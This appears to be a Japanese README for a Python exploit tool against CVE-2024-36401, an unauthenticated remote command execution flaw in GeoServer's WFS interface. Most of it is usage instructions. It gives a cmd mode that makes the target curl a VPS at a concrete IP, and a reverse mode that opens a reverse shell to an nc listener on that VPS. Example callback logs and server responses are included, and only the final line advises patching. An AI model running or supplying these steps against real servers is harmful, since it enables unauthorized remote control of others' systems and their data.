
"GeoServer"向けのPython Exp
CVE-2024-36401 は、GeoServer におけるリモートコマンド実行の脆弱性です。攻撃者は特別に細工された WFS(Web Feature Service)リクエストを構築し、認証なしで任意のコマンドを実行することができます。
pip install requestsこのツールは2つの使用モードをサポートしています:cmd モード(直接コマンド実行)と reverse モード(リバースシェル確立)。
VPSアドレスを 111.46.112.85 と仮定し、
cmd モードで curl コマンドを実行し、ターゲットサーバーが外部ネットワークにアクセスできるかをテストします:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
確認方法:VPS 上で HTTP サーバーを起動してリクエストを受信します
# VPS上で実行
python -m http.server 8090
正常にバックコール(コールバック)を受信した場合、以下のような出力が表示されます:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
reverse モードを使用して、指定された VPS とポートにリバースシェル接続を確立します:
ステップ1:VPS 上でリスニングポートを設定
# VPS上で実行
nc -lvp 6666
ステップ2:脆弱性悪用ツールを実行してリバース接続を開始
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
実行後、ツールは以下のような出力を表示します:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
この時、悪用に成功すると、VPS 上の nc リスナーがリバースシェルセッションを受け取ります。
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd:単一のコマンド実行モードreverse:リバースシェルモード<target>:ターゲットサーバーのアドレスとポート(形式:ip:port)<command>:ターゲットサーバー上で実行するコマンド<vps_ip>:VPSサーバーのIPアドレス<vps_port>:VPS上でリスニングするポート番号この脆弱性は GeoServer WFS サービスのセキュリティ上の欠陥を悪用し、valueReference に Java コードを注入することでシステムコマンドを実行します。本ツールは悪意のあるコードを含む XML Payload を構築し、GeoServer の WFS インターフェースに送信することでリモートコマンド実行を実現します。
/geoserver/wfs を適切な内容に修正する必要があるかもしれません。GeoServer を公式がリリースしたセキュリティバージョンに速やかにアップデートし、セキュリティベストプラクティスに従ってサーバーを構成してください。